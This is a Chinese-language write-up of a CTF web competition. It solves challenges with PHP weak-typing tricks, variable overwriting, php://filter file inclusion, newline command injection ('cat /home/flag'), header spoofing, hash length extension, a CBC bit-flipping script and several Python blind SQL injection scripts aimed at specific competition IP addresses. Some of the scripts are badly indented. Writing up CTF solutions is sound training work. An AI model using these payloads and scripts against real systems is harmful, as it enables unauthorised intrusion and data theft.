比较数字大小

F12 修改maxlength为4


web01


strcmp()函数遇到数组会返回NULL 而PHP是弱类型语言  在==比较的时候,如果有数值的话会先将字符串转换为数值在进行比较,而NULL转换成数值为0,所以绕过题目限制。

payload:  get: /?password[]=1


本地的诱惑

右键查看源代码即可。

你能跨过去吗?


 复制callback参数内容 base64解码得到<script>alert(“key:/%nsfocusXSStest%/”)</script>  复制key的内容 提交得到flag;


一切都是套路

访问/index.php.txt得到源代码:


变量覆盖漏洞($$):

get: ?_200=flag

post: flag=x


你能绕过吗


更改f参数的内容发现会报错,猜测是文件包含漏洞


用php伪协议来读取flag.经过测试发现题目过滤了php 所以用PHP://filter/convert.base64-encode/resource=index,解码读到flag。


 web02


 burp截断 利用client-ip: 127.0.0.1修改客户端ip以欺骗服务器 得到flag。


请ping我的ip 看你能Ping通吗?

 根据题目要求 ping 猜测是命令注入漏洞,过滤了; & |等特殊符号  利用%0a(换行)进行绕过

用  ls / 命令查看目录


最后在 /home目录下发现flag   payload: /?ip=127.0.0.1%0a cat /home/flag得到flag


Please give me username and password!

/index.php.txt 页面泄漏源代码,利用php弱类型进行绕过;

?username[]=0&password=1e9


SQL注入的艺术

 

点击个人信息页面,宽字节注入,可以盲注也可以联合查询注入。 当时写了个脚本盲注的。

import re
import requests
cname = ''
flag = ''
url = 'http://118.190.152.202:8015/index.php?id=1%df'
payload = "' and ascii(substr(({p}),{m},1))={n}%23"
list = [64,94,96,124,176,40,41,48,49,50,51,52,53,54,55,56,57,173,175,95,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,44]
for  i in range(1,46):
    for ss in list:
        p = payload.format(p='select group_concat(column_name) from information_schema.columns where table_name = 0x61646d696e73',m=i,n=ss)
        u = requests.get(url+p)
        if "head.jpg" in u.content:
            cname += chr(ss)
            print cname
            break
for i in range(1,23):
    for l in list:
        pp = payload.format(p='select flag from admins',m=i,n=l)
        u = requests.get(url+pp)
        if "head.jpg" in u.content:
            flag += chr(l)
            print flag
            break
				

 

试试看

/show.php?img=1.jpg  复制图片地址  文件包含漏洞。

由于不包含.jpg文件提示File not found! resource可以包含两个文件 所以绕过

payload:  php://filter/convert.base64-encode/resource=../flag.php|1.jpg 查看源代码得到flag。


Collide


 直接给出源代码,由于key的值不知道 但是我们知道key的 长度为46,利用hash长度扩展攻击

编码后的username:  guest%80%00%00%00%00%98%01%00%00%00%00%00%00admin

 用hashdump求出md5值 5f585093a7fe86971766c3d25c43d0eb

 

Only admin can see flag

cbc字节翻转攻击

/index.txt看到源代码 搜了一下 发现cbc字节翻转攻击 附带脚本。

import urllib
import base64
#a:2:{s:8:"userna
#me";s:5:"admiN";
#s:8:"password";s
#:6:"123456";}
cipher=base64.b64decode(urllib.unquote("uA900LR7DpuWKx7K5GyvwtBhhc4Q9OVGMoXMYfIxo4lw8qgJmlbjELEU%2FeOWSGR31Zyi8BkxJ4knpng7j4sMUQ%3D%3D"))
iv=base64.b64decode(urllib.unquote("9qcxkpyvwymnvOp49F2Uvg%3D%3D"))
newcipher=cipher[0:13]+chr(ord(cipher[13])^ord('N')^ord('n'))+cipher[14:]
print urllib.quote(base64.b64encode(newcipher))
jiamingwen=base64.b64decode(urllib.unquote('twZ92UO5Kx1ne5hEeGTCum1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjY6IjEyMzQ1NiI7fQ=='))
mingwen = 'a:2:{s:8:"userna'
newiv = ''
for i in range(0,16):
    newiv += chr(ord(mingwen[i])^ord(jiamingwen[i])^ord(iv[i])) 
print urllib.quote(base64.b64encode(newiv))
				

 先用admiN 123456登录


在地址栏处回车(不要刷新,否则cipher 和iv会刷新)并用burp抓包。

 

将iv 和 cipher放入脚本中 得到新的 cipher 修改cookie中的 cipher 得到报错信息中的 cipher。




 复制报错信息中的cipher到脚本中 运行得到新的iv  修改iv为新的iv 且cipher为第一次脚本运行得到的cipher。得到flag;


 为什么这么简单啊


根据提示利用 xff ip地址伪造和referer 即可进入第二关。



 右键查看源码,发现可疑js文件,浏览找到密码 base64解码 提交得到flag。

 

ADwAcwBjAHIAaQBwAHQAPgBhAGwAZQByAHQAKAAiAHAAYQBzAHMAdwBvAHIAZAA6AHgAaQBuAHkAaQBqAGkALgBjAG8AbQAiACkAPAAvAHMAYwByAGkAcAB0AD4
解码得到: xinyiji.com


php是世界上最好的语言


用户名随便输 ,密码用php弱类型进行绕过 :QNKCDZO(可以看我之前写过的php知识点总结)

 点击得到


利用全局变量打印出$flag变量即可。


Sqli

题目说的很明确 就是注入了。经过测试发现是盲注 于是写了个脚本跑出密码登录。



解密: u4g009


提示在另一个字段,(真他妈坑啊),这里直接联合查询注入就可以了。


顺便附上我写的垃圾盲注脚本

import requests
tname = ''
						
pwd = ''
						
url = 'http://118.190.152.202:8011/index.php'
						
payload = "admin' and ascii(substr(({s}),{m},1))={n}#"
						
fuzz = ('0123456789,abcdefghijklmnopqrstuvwxyz')
# for i in range(1,10):
#     for k in fuzz:
#         p = payload.format(s='select group_concat(table_name) from information_schema.tables where table_schema = database()',m=i,n=ord(k))
#         u = requests.post(url,data = {'username':p,'password':'admin'})
#         if 'normal' in u.content:
#             tname += k
#             print tname
#             break
					
for i in range(1,33):

					for k in fuzz:
        p = payload.format(s="select group_concat(pass) from user",m=i,n=ord(k))
        u = requests.post(url,data = {'username':p,'password':'admin'})

					if
							'normal'
									in u.content:
            pwd += k

					print pwd

						break
					

 有种你来绕

 

根据提示,是mysql的数据库,利用mysql的特性–隐式类型转换,进行盲注得到密码。


写了个脚本跑出密码登录。


import requests
url = "http://118.190.152.202:8019/login.php"
						
payload = "1'-(ascii(mid((passwd)from({0})))={1})-'"
						
password = ''
						
fuzz = 'abcdefghijklmnopqrstuvwxyz0123456789'
						
for i in range(1,33):

					for k in fuzz:
        p = payload.format(i,ord(k))
        u = requests.post(url,data = {'uname':p,'passwd':'admin'})

					if
							not
									'username'
											in u.content:
            password += k

						print password
				

 解密: nishishabi1438  (我他妈想打死傻逼出题人)


输入flag,执行即可。


web400 Only Admin 是cookie注入,但是自己没怎么看,等其他师傅分享wp再学习一波吧。